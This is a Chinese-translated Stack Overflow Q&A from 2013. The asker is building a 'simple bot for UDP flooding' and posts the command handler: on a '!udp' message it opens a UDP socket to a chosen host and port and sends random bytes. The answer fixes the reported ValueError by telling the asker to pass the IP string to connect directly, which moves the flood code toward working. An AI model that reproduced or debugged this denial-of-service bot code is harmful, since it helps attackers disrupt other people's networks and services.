Python ValueError:float()的无效文字:127.0.0.1

时间:2013-05-13 05:07:03

标签: python python-2.7 python-3.x

我正在开发一个用于UDP泛洪的简单机器人,但它无法正常工作,我运行时得到的是:

ValueError: invalid literal for float(): 127.0.0.1

以下是我认为导致问题的一小部分:

    line = line.split()
    print line
    if(line[0]=='!udp'):
            print "attacking ", line[1]
            udp=socket.socket ( socket.AF_INET, socket.SOCK_DGRAM )
            udp.connect((float(line[1]), int(line[2])))
            udp.send(os.urandom(10000))

我四处寻找错误,但我找不到任何东西。

1 个答案:

答案 0 :(得分:3)

'127.0.0.1'不是有效的浮点数。将float(line[1])更改为line[1],您将不会收到该错误。您可能想要找出您应该发送的内容作为connect的第一个参数,因为您无法以该格式发送作为浮点数的IP。